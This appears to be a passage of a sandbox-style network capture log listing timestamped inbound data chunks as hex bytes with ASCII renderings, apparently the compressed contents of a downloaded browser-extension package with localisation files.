Data Ascii: ;M.+6<~b'\TH#rqV83H6bCj0!]T_3K_zyFl\4{X$I,Mv4nx"!.uDFuX49SL:y[Q$U{"8;-ZI\X="--ax)X[I8tX!KYX:\6*da/
$WV2CR

2021-11-25 16:27:48 UTC 530 IN Data Raw: 40 a4 13 6d 62 7c 8f 0a 70 79 f5 21 ed 4d a2 9a 86 ca 60 51 0e 16 dc db 86 ea 57 54 b2 33 dd ed 10 05 d3 fe 
54 da 2c 0c e2 f5 2c 49 24 77 e2 9c 6a 38 01 17 1d 38 21 4a 0b 7f a9 3f b3 9d 3c 83 2b 77 ce 14 4c f0 ba 3e 0e 88 51 01 
50 c8 5b 7e 1b 71 12 44 1b f3 de 7c c7 67 46 0c 07 7f 06 41 83 01 0c 07 67 c0 c0 db ac c1 36 1b dc fd 12 09 10 87 e1 a8 
b0 93 ed f2 e1 5c e7 2c 16 3c 2a da ec b6 cb b6 45 5d 73 ac d3 5d ae 18 7d c6 66 cd 5e ad 56 13 be 07 e8 ec 8a 0d 5b c3 
cf 6f 53 93 48 a5 b7 65 49 a2 0d 4a a0 97 12 20 ab 61 c6 d4 67 96 e0 0b 0d fb f0 49 75 02 e9 a5 67 d4 8d a9 cb 24 9a 83 
c6 2b ae 00 11 53 67 bb ee d5 31 45 95 6d e6 42 80 06 64 d0 51 0d e8 12 a5 3c 51 e2 77 b1 be ba be 1e 74 46 4d c1 7b 
3d c6 27 30 a3 cc 2d 6a e7 47 81 b5 e8 66 09 da 14 6a ee c6 
Data Ascii: @mb|py!M`QWT3T,,I$wj88!J?<+wL>QP[~qD|gFAg6\,<*E]s]}f^V[oSHeIJ agIug$+Sg1EmBdQ<QwtFM{='0-jGfj

2021-11-25 16:27:48 UTC 531 IN Data Raw: 44 06 45 eb a0 1a 96 8d 7b 99 83 65 0f 89 e0 43 f5 44 29 42 0d 8d 4c 90 27 aa 7c 14 89 61 3f 85 5f e9 cb 1e 
a8 91 a3 e7 a9 8b 4f 1f 5e a6 46 8e cb da c1 12 7c 53 87 bc 29 02 99 e1 d4 43 ef b9 e1 8d a9 25 be 94 c8 29 b2 04 a8 f8 
40 9d 7b ca 12 98 cc c0 52 53 6f 48 65 e5 14 8d 06 0f 3d 9d 1d ce 47 e3 79 59 03 9b 54 1d d3 07 6b b2 84 6a fd 1e 9d 96 
29 10 26 de 73 95 25 72 50 f6 a7 33 88 55 35 e0 2b 09 af 9b 1e 5d cf 92 82 50 91 2a 35 f5 c0 7f 96 02 00 d7 df c0 fb 80 9d 
e6 82 17 f5 e6 09 8a 9c 8f 5f 6b fc 2a 71 b6 36 4f e7 60 5c 96 7f a4 c1 8c 7a 45 5b 9e 08 e5 9c 89 77 72 ac 21 30 86 bd 4a 
19 49 0f f6 e6 49 fc 56 8e 9f a7 80 80 a8 7e e7 49 64 22 04 f5 44 c2 1a 22 44 84 a0 0e b5 e5 29 78 68 92 86 dd f4 8d 60 
6b 68 4c 01 6f a6 2a 4b 9d ed cb 13 99 0d 5f f4 a7 
Data Ascii: DE{eCD)BL'|a?_O^F|S)C%)@{RSoHe=GyYTkj)&s%rP3U5+]P*5_k*q6O`\zE[wr!0JIIV~Id"D"D)xh`khLo*K_

2021-11-25 16:27:48 UTC 532 IN Data Raw: a7 f4 5b ec 8e 1b 42 17 cb 7a 84 3d 53 ab 7d cf b7 d6 18 f6 40 e5 ba 13 57 f1 c4 19 89 b0 27 8e cf f9 11 8f c3 
06 a9 45 b0 c2 7b 65 82 92 92 0f 89 24 74 47 4f 58 44 2a c1 b8 42 80 e7 03 8f 5a 78 11 b4 61 a9 24 91 27 fe b7 89 e5 7b 
74 7a 8d bf 55 2a c0 fd 44 80 58 6e 9d 52 70 47 02 d8 be 9d 82 e8 fb 07 7d 90 fd 64 bc fb e5 d3 d7 eb f9 a7 dd ab cb cb 9b
c5 ed 73 d9 f9 55 7c ab 1d b2 c0 9b a9 3f 35 8d 40 0d 8b 77 bf ca ad d7 44 47 b8 7f af c1 46 76 be 0d 47 47 dd 41 ff ef e5 
e8 ee ee 57 f5 e8 34 3b 58 fd 9b 35 21 4a 5c 36 6b 0b 42 ba b1 89 f9 dd d5 ed 87 c5 f5 cf e4 e8 7f 3b f7 91 29 46 9e e6 b4 
fd dd 5d 73 d2 c6 40 c8 17 12 6c 43 41 64 75 82 c7 96 39 64 5b 85 22 25 a4 ee f4 ce 7a 0d 3d 30 36 21 01 a9 06 d0 9b a0 
9d 56 bc ae 62 18 57 a0 68 c3 44 3e 26 82 63 
Data Ascii: [Bz=S}@W'E{e$tGOXD*BZxa$'{tzU*DXnRpG}dsU|?5@wDGFvGGAW4;X5!J\6kB;)F]s@lCAdu9d["
%z=06!VbWhD>&c

2021-11-25 16:27:48 UTC 534 IN Data Raw: 33 68 68 d8 2c ef a9 59 b0 42 02 5e 33 41 18 2b 8c 28 b4 5d 69 df ab 87 12 44 a4 a8 aa 41 09 0f d7 b9 50 08 
61 1c 1b 09 55 ae bd 7e b1 c9 91 33 08 23 7e 91 64 e4 c9 a9 60 a8 96 cf 50 1b c2 4c e8 79 18 c6 6c 31 6b 1c 13 a8 ca 88 
51 d1 92 03 a3 29 15 aa 26 af c9 77 b8 d2 1d c6 6a 99 82 5b ac d6 3c 14 16 6f 5b 26 e0 b2 b2 ad 23 e9 2e cd 35 18 8f 8d 
33 a7 d4 3f 27 5a b3 3c 0e 22 a9 66 e0 ae 21 ed 58 19 a2 c2 26 f1 18 f7 f3 20 7b 0f 99 fb 58 31 d8 d1 76 f1 19 5b 5b 3d b7 
b1 e5 a8 c6 ed f5 d5 d7 f3 4f 8b 9b 0f 57 57 b7 cd c8 86 55 90 dd c5 36 be d5 4e 43 d2 a1 7c 51 00 52 0f c2 ca f5 70 9d 66 
96 28 65 68 83 5b a4 5e 58 5b 4d 37 d9 10 64 d5 c4 d8 a0 e1 96 ab db 7c ef c7 be ec 45 da de 82 db d3 3e 58 a7 83 b2 
2e d3 21 a1 63 1c cd 5e 16 f4 b0 d1 cf 6d 26 b1 3c 82 
Data Ascii: 3hh,YB^3A+(]iDAPaU~3#~d`PLyl1kQ)&wj[<o[&#.53?'Z<"f!X& {X1v[[=OWWU6NC|QRpf(eh[^X[M7d|E>X.!c^m&<

2021-11-25 16:27:48 UTC 535 IN Data Raw: d2 eb bd 97 da 89 c2 0a b3 a2 01 b4 45 86 98 cc c5 33 7e 69 0b 59 61 f5 61 e4 b6 fd 33 33 3f b7 ae c2 48 f8 e7 
15 56 3c 78 90 0a 7c 7b ed 9c 0e c1 04 be aa 90 ab 4a 78 63 4d 30 85 91 c2 d7 85 52 f3 03 fc 7b 02 86 c9 b5 e9 5c 64 0b 
89 97 55 08 3f 98 a2 cf 63 1c 14 e4 85 14 5b 14 73 9b 20 d1 08 c1 4a 2b 8d 07 68 a2 b5 f6 45 01 66 b8 e2 69 58 32 a2 d2 
8a d2 6a e1 a5 0d 5a 04 e5 95 86 20 b0 aa 01 fe 50 27 f2 b0 97 d2 78 d0 cf 00 41 dc 49 69 85 a8 7c 0b db 8b 51 f4 24 b1 
dc 31 06 f3 85 70 d5 94 9c 00 75 87 7f da 19 5e f1 b0 c1 62 cc 87 fb b5 b8 98 9d e4 ac 71 6b db a7 c7 b8 a8 b3 4d e1 b6 
41 3d a1 ea cf 80 25 cb e0 61 7f c1 7b c7 77 ae 1e a1 8d b9 cd 4c 56 c3 9b 54 22 00 c2 70 15 20 b3 d5 63 b4 bc dc f1 f0 
a8 a0 12 48 8a 3d b8 14 43 b1 63 d6 d9 62 b3 c6 23 80 
Data Ascii: E3~iYaa33?HV<x|{JxcM0R{\dU?c[s J+hEfiX2jZ P'xAIi|Q$1pu^bqkMA=%a{wLVT"p cH=Ccb#

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 536 IN Data Raw: 5d ea be 98 d7 69 b6 d7 8f cb 92 84 67 ae 84 df 5e 3f 1d 70 5b e0 9a b0 ed 8a b3 e1 f1 f4 84 ac e0 5e 7e 7e 77 
f7 6f 50 4b 07 08 62 6e ee ba 6a 12 00 00 a8 61 00 00 50 4b 03 04 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 00 00 00 
00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 62 6e 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 
4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 62 6e 
2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e cd 5c eb 6f db 48 92 ff 57 74 be f9 70 b3 c8 a3 df ec ce ed dc 40 b1 68 47 1b 5b 
f2 ea 91 20 8b 01 04 4a 96 92 c1 66 e2 9c ed 60 81 0b f2 bf 5f 91 dd 8c 8a aa 6a 4b ce 78 b2 f3 c5 51 24 76 b1 bb 1e bf 
7a 92 9f 8f a4 90 3e 78 63 9d 34 de 5b 25 ac 2c 8e 9e 
Data Ascii: ]ig^?p[^~~woPKbnjaPK*Q_locales/bn/PKPK)Q_locales/bn/messages.json\oHWtp@hG[ Jf`_jKxQ$vz>xc4[%,

2021-11-25 16:27:48 UTC 538 IN Data Raw: 02 5c 5a d8 b6 04 ad 31 6c 6c b9 27 63 4b e1 9b 41 ac 8f a7 8a 89 08 88 ca 15 00 96 f0 37 00 7f 42 86 e9 49 
87 b0 c7 dc 90 83 a5 ef 23 5d 03 5e 43 49 10 a9 0d 3a d4 26 c3 aa 44 27 65 c2 ac 5a a3 a8 2e 31 3a 09 d3 1a 25 0c 6c 17 
52 28 a1 35 f0 87 17 66 e2 44 5a e3 20 75 86 68 09 8e ea 40 b1 00 20 d8 35 9d a8 01 a1 4a 2b 99 86 98 11 10 88 07 48 
94 0a 50 2b c8 95 1c af ec be 93 df 27 14 f8 af 86 9a e0 25 df de f8 c7 67 ed 7d 6a c1 48 29 82 aa fd a6 e2 83 ff bd 21 32 
cd a7 51 d2 95 92 71 ff 08 23 45 45 ae 45 f9 7e 4a 0a 14 86 d1 0d 41 a1 0d 02 15 cc 02 71 e0 6e 8e db b8 7e 49 0a 0e ed 
06 e2 af 9d 8d fb ad e9 27 b2 31 47 ad 88 59 26 fb 5e a2 cf eb fd ba 9d b2 fd 44 08 69 0b ce 88 53 06 c6 10 7a 94 f3 5d dd 
24 1a 2d 61 92 eb ea ce 6d 26 45 a3 1c 97 bb 54 23 62 
Data Ascii: \Z1ll'cKA7BI#]^CI:&D'eZ.1:%lR(5fDZ uh@ 5J+HP+'%g}jH)!2Qq#EEE~JAqn~I'1GY&^DiSz]$-am&ET#b

2021-11-25 16:27:48 UTC 539 IN Data Raw: ad 53 42 42 2c a9 02 c4 45 2e f0 a3 ce 58 bc 34 c9 3f a8 3f 95 6f d0 c7 0e 2d 53 be a5 ad 20 54 a0 6d 65 f6 63 
3c 88 0b a0 aa 3a 14 a0 bb 5e 58 01 d9 e2 43 a2 24 60 da c9 79 bc 51 01 59 15 d8 46 5d bb 01 15 50 c1 f2 23 9d c8 41 
87 4b ac d9 f4 fb de f6 3f ed 6c 06 52 17 e4 e1 52 85 c4 86 ba c1 6f 25 58 29 64 77 5a 83 b1 de 3f d9 48 43 62 0d e0 2b e0 
1a 78 38 6f 00 e5 24 ab 00 7f fe 6a 0b 66 65 ae 79 81 3d d7 65 2e d5 c9 76 46 f2 59 6d c3 49 27 c0 c7 49 08 0e 64 11 c0 
90 c0 5d 10 4e a6 a4 fb 86 06 a2 07 16 22 51 d1 b5 b3 fc 01 1b 10 f7 ad 4e 77 a6 3e c9 94 10 d7 62 a0 c0 ea 20 be a9 07 
f3 21 61 f2 f5 e8 b5 d3 24 4e f8 4b ce 35 e2 a4 12 4d 2c a6 c1 15 67 ea 27 42 94 b1 1a 3c 37 a4 cd 99 41 ca c3 4a 36 28 
53 63 a2 ed 7d 29 d8 03 b4 58 11 4b bb e1 ef f7 9e 8e 
Data Ascii: SBB,E.X4??o-S Tmec<:^XC$`yQYF]P#AK?lRRo%X)dwZ?HCb+x8o$jfey=e.vFYmI'Id]N"QNw>b !a$NK5M,g'
B<7AJ6(Sc})XK

2021-11-25 16:27:48 UTC 540 IN Data Raw: 33 f4 94 a7 f6 a2 ec 0f ca c9 2e 0d ae 40 91 a7 71 31 19 9f 5f cc 08 7b 68 f7 20 4f 62 52 fe 7d 3e 9c 94 84 35 
5c 73 23 4f 65 f6 e6 a2 bc 43 dc 74 0a 81 90 3a 1f 4e 26 e3 c9 70 74 da ea ee 62 3a 7f 5e f3 08 be 22 6a cc 44 cf 84 e0 
a8 9c bd 1e 4f 5e 82 1e 9d 9c 94 93 5a 1d 5f 0f 4f 86 84 df 4c 02 9a 25 95 3b 20 f7 e6 ad 2c 91 69 ff bc 64 b7 c2 8d 9d 64 
a9 bc ae 65 b6 b8 38 26 ac a1 01 29 a5 31 de 5d c5 3d 28 4d 96 5d 4c 86 af fa c7 6f 16 83 fe ac bf 98 4f fb a7 25 63 4e e4 
31 64 42 66 5a e7 0d 3c b8 70 11 0a bf fe 6c 7c 4a e0 91 29 92 31 8b 67 f3 8b c5 ab e1 74 f8 7c d8 28 59 56 a4 cc cb 8b 
28 b5 f1 c9 ec 75 7f 92 d7 7c 2e d2 21 54 e6 a3 97 a3 f1 6b b2 96 ab 84 92 b5 af 86 83 32 8f f6 4c ac 9e a1 30 3d 1f 8f 67 
2f 46 e5 94 70 95 7b fb 18 21 f2 a6 a4 ce 8a 
Data Ascii: 3.@q1_{h ObR}>5\s#OeCt:N&ptb:^"jDO^Z_OL%; ,idde8&)1]=(M]LoO%cN1dBfZ<pl|J)1gt|(YV(u|.!Tk2L0=g/Fp{!

2021-11-25 16:27:48 UTC 541 IN Data Raw: 68 0e d9 f2 eb 3c ad ef db 97 2d d5 f0 1c 4b 45 f0 75 55 57 0d 97 4c 66 92 63 2b 1f e2 ba 88 15 c4 ad 77 57 e4 
f7 71 c4 ca 0a cb 4a 8f 5f cd e6 fe 74 be 1c 86 a3 f7 af d8 26 4d 22 b6 db a9 8b 3c 5f a7 71 93 17 97 b0 79 15 8c fa cd 8b 
6f 5b ab d9 c4 1f bd fa 51 fc bb f8 79 84 09 6d 52 16 c5 77 79 ba 8a 8b 52 cc 64 6b 25 fe 40 88 2b a4 16 9f d6 2b 4d 2c 60 
6b 4c 1e eb e2 f1 d3 f4 c8 0b c6 de 0b 52 0f e6 d1 e3 63 47 8c 96 9b bb c3 30 fd 74 c6 fe f1 b9 8e 55 55 fd e9 ac dc b0 6c 
fb 07 53 ee 8a f8 f6 cd e7 a3 bb aa da 94 e7 67 67 65 bd d9 e4 45 75 ba 16 f1 39 8d f2 fb b3 68 17 d4 33 96 95 bf c5 c5 99 
ee 89 aa fd 7c a4 54 ac 58 c7 15 ec 97 37 29 cb fe f9 f9 68 eb 98 0f a2 44 29 2b 4b 3c 2c e2 5f eb a4 88 57 af db 19 c1 30 
5b bf 2e ef f2 df f0 f0 2f 55 be 39 2d 
Data Ascii: h<-KEuUWLfc+wWqJ_t&M"<_qyo[QymRwyRdk%@++M,`kLRcG0tUUlSggeEu9h3|TX7)hD)+K<,_W0[./U9-

2021-11-25 16:27:48 UTC 543 IN Data Raw: 1a 5b 87 33 2c 26 6b e1 3f 86 03 b0 23 5b d8 46 24 db 86 a4 49 d5 c3 8c 38 55 04 45 b5 85 20 36 80 83 45 3b 
d1 3d 7a 02 ad 00 5a 91 30 60 79 cf 32 4c 97 04 69 76 98 03 08 d7 5e 51 0b 2f a0 7c d3 b0 4d 34 45 16 fa 22 c7 b0 68 ac 
9f 75 38 96 aa f3 be c9 35 41 2b 10 4d aa 69 93 ec 0b d2 43 30 42 32 71 84 01 81 ed 21 4c 5b 80 1c 9e b1 e6 04 14 c0 4b 
25 bf 81 f6 04 64 41 35 26 6d 14 5c cc 98 89 fc dd ee e8 1e 7e 09 84 38 8e ef 93 72 9f 38 76 49 76 c2 7f 96 75 ca ab 1e c9 
b7 df 32 f5 30 37 0e ad c7 02 fc 9e 3a a4 d3 ff a6 15 7a a1 d7 d9 4a 68 49 e4 5e 6e 65 fe 64 f7 52 15 79 8d a0 40 52 03 4a 
45 17 63 e9 86 bd d5 d0 16 04 1d 80 4a 77 1d 74 be 00 1a 4b 23 f9 e9 0b 78 64 db 8c 46 16 5b 16 6f 66 2d 0f fa 0b bc 4d 
c5 54 f0 f5 49 74 63 b9 e7 ca 65 bf 35 85 66 c2 80 
Data Ascii: [3,&k?#[F$I8UE 6E;=zZ0`y2Liv^Q/|M4E"hu85A+MiC0B2q!L[K%dA5&m\~8r8vIvu207:zJhI^nedRy@RJEcJ
wtK#xdF[of-MTItce5f

2021-11-25 16:27:48 UTC 544 IN Data Raw: 4c 65 0e f8 e1 47 75 20 bd dd 05 44 23 14 c5 e9 db 2a 2f 14 7e 66 00 d6 5d 61 86 c9 89 72 3d 19 9d 28 a2 80 
6e f3 08 9c 0a 98 5b 17 ec 1e cf 78 1d 8c fc 59 a3 e8 f9 3d 87 a3 ba ae e1 42 ca f2 43 26 2a 9d b7 ea 81 13 75 e7 71 02 
3d 65 d9 dd 14 f0 0b ae 55 13 a2 ab a0 1f fa cb e9 78 31 0f a6 4b bf df 0f e7 e1 78 e4 0f 97 bd f1 d5 55 30 9a cf 0e 87 96 
5d 5c 51 3f 8b 7e 38 5e 7e 58 f8 c3 70 fe e9 d0 83 0c ac 88 87 9e 3f ea 05 c3 e5 bb c5 7c 3e 1e d1 39 d0 7b 21 ea 61 3c 
9a 63 01 98 45 30 e3 6b 3a 74 22 6b c5 88 93 7e d8 5f 8e c6 f3 e5 7c 4a 96 21 d3 86 c4 7e 10 04 fd 77 7e ef fd 32 b8 f2 c3 
e1 72 10 06 c3 fe a1 23 d9 c1 7b b7 a3 c1 78 7a b5 ec 07 b3 de 34 9c 48 97 25 39 a7 e9 f6 76 19 f8 fd 60 7a e8 43 26 9e 
ba 7d 4c a6 e3 ab c9 9c 84 87 36 1c dd 2e a6 c1 87 
Data Ascii: LeGu D#*/~f]ar=(n[xY=BC&*uq=eUx1KxU0]\Q?~8^~Xp?|>9{!a<cE0k:t"k~_|J!~w~2r#{xz4H%9v`zC&}L6.

2021-11-25 16:27:48 UTC 545 IN Data Raw: 2a fc 35 25 9b 6d 96 47 f3 e2 19 9f 42 fc a8 3b 7a 44 b2 f2 ea ac fc 6a ff 26 d6 c1 0a 8e e7 3a 96 a3 99 ba af b9 
f6 e9 32 0f cf 11 97 e7 62 c9 86 5b b9 e2 ba 60 38 fb dd f6 f9 d7 1d 15 bf 73 e5 96 e1 59 d8 b8 03 bd 9e 6e 38 ae a9 9f 6a 
ef c7 db 55 11 27 59 4e 36 f0 43 c8 c5 6c c3 d0 2d cd f1 4c 53 87 b0 66 da b2 18 5f 34 5a 27 cf d5 8a 24 a3 f0 c0 6e 26 ec 
89 e2 a4 41 1e 16 45 96 53 92 27 64 9d 26 62 f7 4b b2 5b 25 9b a2 21 96 b2 35 5f c3 5a 96 ab 6b 9e e1 f9 b6 a7 b6 90 fb 
95 cb 38 a6 e3 78 8e 6b 31 bf 59 be 65 ba 8e 24 43 d3 27 ba c8 5f f9 c2 d3 e0 68 c3 b5 1c db f3 2d db d5 5d 29 12 ae e3 
30 8b 72 f8 42 08 d8 9a e9 bb b6 86 73 31 34 43 33 3d c9 34 84 0e 5f 01 7b cc 36 e5 f9 3c 3d 93 d6 3c 4d 96 74 1a 32 9f 
b2 cb a1 f6 6e 38 6a 0e 46 93 db 4e f7 e6 5d 
Data Ascii: *5%mGB;zDj&:2b[`8sYn8jU'YN6Cl-LSf_4Z'$n&AES'd&bK[%!5_Zk8xk1Ye$C'_h-])0rBs14C3=4_{6<=<Mt2
n8jFN]

2021-11-25 16:27:48 UTC 546 IN Data Raw: cb 5a 00 41 49 c5 21 54 77 1d fa 97 c3 c2 d8 33 5b b4 40 e7 f3 ea 78 73 b2 80 1b e5 53 8b a3 c7 64 93 c4 95 
c1 59 2c a4 60 76 e9 dc 7d e4 72 13 38 a8 59 68 da 4c 50 13 40 26 58 01 d2 d3 94 28 7b 6b 3e 65 3b 55 18 86 5c 4c 66 
51 fe 9b d0 e4 a0 95 b1 4d 06 10 9a 61 9b 40 5f 59 d3 f6 91 b7 3f 96 81 52 84 de c7 72 3d 54 23 c7 d2 3d b9 bf 48 b8 f9 
38 ba 0d 5d 20 0d cb 74 56 e2 f6 e3 36 66 cd a5 70 0f d0 a1 81 34 df 88 5b 23 f8 8f fb 7f 41 9f b1 8f 2a ec f7 6d d3 51 ab 
64 d9 28 51 1e fa 50 a3 ec 19 6d 4f ae 72 b5 c5 e3 cf b4 66 8c 41 a2 26 f8 86 69 a3 68 d9 be 26 af d7 e5 ab ec e8 86 08 
56 50 60 9d 18 d8 95 26 bb 75 b2 5b 85 39 5b 08 04 35 4d e2 82 6d 70 75 90 78 7b af a0 8d 86 6b 5a be 8f ae d0 b6 51 
65 e4 42 91 61 91 62 19 e5 94 87 15 da f0 dd a6 58 70 79 97 
Data Ascii: ZAI!Tw3[@xsSdY,`v}r8YhLP@&X({k>e;U\LfQMa@_Y?Rr=T#=H8] tV6fp4[#A*mQd(QPmOrfA&ih&VP`&u[9[5
Mmpux{kZQeBabXpy

2021-11-25 16:27:48 UTC 548 IN Data Raw: 4a 3d ed 44 a7 85 28 af 62 99 ff c1 0f 25 4d 23 ef 57 a1 20 e5 0d 62 9c 5b e4 ea 7a 07 5d 36 fb fb 41 2c 8f 5e 
de b0 0c 10 0e b0 2c 13 c0 2a b7 39 fb 38 d9 8f 05 aa 66 b1 86 3a 21 b2 40 1e 53 1a 2e 4f 1f 8f 96 68 51 94 2b b3 ac 61 
3d 96 0e 13 0c 03 04 d5 90 48 c4 43 b8 5e b1 d9 f6 be 91 44 c7 cd e8 06 98 47 c9 88 35 df 93 64 aa d1 72 c9 f4 b8 10 4a 
87 ef fb 4e c9 58 2c cb d5 e5 bc 1e a5 f3 70 0f 70 df 5e cf 8a 15 64 c5 33 4b 10 f7 3c 50 29 47 73 d1 20 4a 79 df e7 48 5b 
96 6b d1 5c 2e 4a cb 78 a2 9d 4e fd fe de 6a aa b0 ff ef 2b a7 e0 cb 26 c3 58 cf 74 c0 ad 7c cb 97 ca 99 8a e8 79 20 ac 20 
c3 96 0e ba c3 b8 98 a5 ca 12 60 a8 38 3d fe 24 9c 2c c2 47 1a a3 10 9f a4 8f aa 99 f1 c0 3d d1 21 5b 3a 4a 2d ea ad 8b 
88 39 5d e1 f0 c8 43 48 a0 a3 c3 5a a6 e6 a3 b3 
Data Ascii: J=D(b%M#W b[z]6A,^,*98f:!@S.OhQ+a=HC^DG5drJNX,pp^d3K<P)Gs JyH[k\.JxNj+&Xt|y  `8=$,G=![:J-9]CHZ

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 549 IN Data Raw: 0e 40 6e 15 e5 67 9d 0a e9 51 67 74 1b 4c a4 c4 50 bc 04 7e 24 cc db 42 b4 2c 82 30 b4 9a 7d 86 62 d2 0e 14 
0f fc f7 5a 40 51 25 77 29 86 fe d5 fd fd e6 78 28 09 a8 5e 92 dd 0b dc 36 65 f8 52 bc 5b 5c dd 3f 0c 02 a9 3c ab c6 7b d5 
fd e3 ae 6a 0b aa 31 78 25 71 df bb 1d df 49 12 aa ff 3a f3 f2 f2 1f 50 4b 07 08 df 97 26 53 40 10 00 00 5d 35 00 00 50 4b 
03 04 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 64 61 2f 
03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 
00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 64 61 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e bd 5a fb 6f db 46 12 
fe 57 58 5f 7e 68 0b 5b e6 fb 11 34 57 30 12 65 b3 
Data Ascii: @ngQgtLP~$B,0}bZ@Q%w)x(^6eR[\?<{j1x%qI:PK&S@]5PK*Q_locales/da/PKPK)Q_locales/da/messages
.jsonZoFWX_~h[4W0e

2021-11-25 16:27:48 UTC 550 IN Data Raw: 9d 2a 4e 17 3b 63 ef b9 5f 9d 80 5b 14 71 96 1e f3 1e 56 ff 42 74 24 db b2 3c 2a e3 87 e2 b1 28 d9 86 95 7c 01 
53 ba 00 e6 13 34 f6 a2 8c 93 04 e9 c4 f2 4a 92 2d a9 d5 c6 0f 94 59 05 e8 42 09 a2 11 af 79 8e 15 5b f6 85 96 2a 45 b4 
29 2b 2d 8b 18 e4 06 ac 22 2e 50 f5 49 b6 5a c6 09 85 1d 8b 09 52 77 69 bc 86 82 2c 2d d6 51 1a d1 13 da 90 52 a3 20 
1d 80 5c 5e 4e ec 01 d0 b4 63 40 19 18 9b 3c f2 ec e6 e6 ec 94 9a 1f 81 4b e5 4a c4 8b 0f b5 8f 65 90 c0 26 1d a5 c7 52 
58 d1 a4 99 02 62 b2 82 6e 1c 89 56 3f 1b 77 47 18 bf ad 68 07 14 a1 64 ef bf d4 8a e1 1c 6e 43 c4 cb 08 dc 0c 2b 97 bb 
74 4d 56 83 d3 28 e0 75 05 19 d2 18 9e 2b 90 28 b2 94 1a c7 be b5 4d 41 33 42 78 ae 11 84 f0 0b 53 e8 54 39 19 b4 ac 
37 5c c4 ab b2 59 4c a4 f0 b1 2c 61 f1 22 a6 f8 ef eb 8b e9 
Data Ascii: *N;c_[qVBt$<*(|S4J-YBy[*E)+-".PIZRwi,-QR \^Nc@<KJe&RXbnV?wGhdnC+tMV(u+(MA3BxST97\YL,a"

2021-11-25 16:27:48 UTC 552 IN Data Raw: f3 db 03 63 01 39 24 c2 0a 38 04 5d 14 2a 99 02 40 4c 87 ca ef 9e 25 65 bd 27 17 77 34 24 0c 6a 44 05 46 23 
06 2a c2 29 e1 3c 65 dd d9 c1 3b 8e 01 9e d1 42 21 cf 14 eb 9a 17 ec 51 8f 4e a3 d5 b5 89 e3 51 df c4 a8 2f 0e b9 1c 2b 
f7 d9 43 1b 6e be 70 89 57 08 fa e7 d0 0a d1 ee ff 92 55 34 e5 80 50 18 c0 61 47 75 1c 9a db f1 83 d8 25 92 3a fe e8 78 
c0 b5 65 5e dd 8d 38 0e 51 19 4b 43 14 31 ca 00 c7 c5 3b 88 1e bc 43 6d 8a 07 32 cd d6 08 02 dd 51 d1 d4 09 5c e7 a9 
53 43 24 52 7e bd e3 e3 0d d8 21 20 91 55 f9 de 44 07 33 84 ab 1a 9a ad 03 73 31 f2 38 62 2b fb 3e 91 20 7e be 46 19 d0 
80 2a d2 09 e5 c7 65 87 ad 8b 8e a2 1f 9b ca d9 f9 bf d1 57 21 c0 3b 30 d1 4a 8b fe f6 53 6d 0c c6 35 dd d4 d1 5b 41 17 
0c 80 97 c0 9a f9 1d 02 59 c2 5b 7f d1 64 0a 17 a7 c4 25 de 
Data Ascii: c9$8]*@L%e'w4$jDF#*)<e;B!QNQ/+CnpWU4PaGu%:xe^8QKC1;Cm2Q\SC$R~! UD3s18b+> ~F*eW
!;0JSm5[AY[d%

2021-11-25 16:27:48 UTC 553 IN Data Raw: eb e9 8f 83 e0 1f 62 33 93 7d 59 db ae 44 06 ce 92 0f a8 de 50 30 46 ac c4 83 88 2f f5 da 55 fc 16 8c 2f 44 42 
20 b9 51 6a 57 d1 d2 21 64 2f 9e df 50 22 e9 10 b2 d7 41 ed 1a 2a 6a 22 b6 5d f1 93 dc 37 74 4c c1 37 c5 94 95 bd cf 6a 
57 32 1b dc f8 d3 ee b9 2c c9 64 af 16 64 8a 3e 0d 67 98 d0 07 93 1b 49 f9 48 be 22 db 53 71 ee 0f ce 40 5d e6 e1 c0 47 
d9 5c 0b 16 c8 2e 74 a5 e2 d7 a8 36 91 3a 49 be d1 90 48 d7 13 80 38 2a 8a af d5 24 d2 d3 70 7a 19 cc 85 c2 90 7c 48 b9 
27 5c 8d 85 18 59 6a c2 d0 f5 47 84 62 c2 09 24 ef 80 9f b5 80 a2 0a ee 92 dc 9c 37 eb 47 fe 6c 22 08 c8 be c3 7b 16 b8 
f4 45 f8 92 7c 7c d8 ac 9f 04 81 d0 9e 65 37 70 cd fa d9 40 76 04 d9 5d 74 23 71 3d bc 9c 5d 09 12 b2 af cc 9f 9e fe 03 50 
4b 07 08 2d 94 f4 29 4e 0f 00 00 38 30 00 00 50 4b 
Data Ascii: b3}YDP0F/U/DB QjW!d/P"A*j"]7tL7jW2,dd>gIH"Sq@]G\.t6:IH8*$pz|H'\YjGb$7Gl"{E||e7p@v]t#q=]PK-)N80PK

2021-11-25 16:27:48 UTC 554 IN Data Raw: fb 98 fe fd eb 9e e9 ba fe b7 8f d5 2e cd db 7f 52 0d 99 b0 fc e1 eb c9 ba ae 77 d5 a7 8f 1f ab fd 6e 57 94 f5 f9 
8a db e7 fc a1 d8 7e 7c 78 35 e4 c7 34 af 90 29 1f cd 80 e7 ec d7 13 ad 4e cb 15 ab 21 3f 9b 6f d2 fc f1 eb 49 ab 98 26 d1 
1e 36 69 55 e1 65 89 f0 ce 4a b6 38 6b 56 04 c1 7c 75 56 ad 8b 27 bc fc 53 5d ec ce ab fd 72 99 3d 64 d8 5c 9f b1 c5 3c 
7d 20 55 dc 04 c8 01 c7 73 4c 1b 73 7a 96 a9 7b ae 21 05 d8 2f fb aa 49 9c e7 4d 46 11 fe b9 d8 6e a1 2a 2d d9 a7 ff d4 
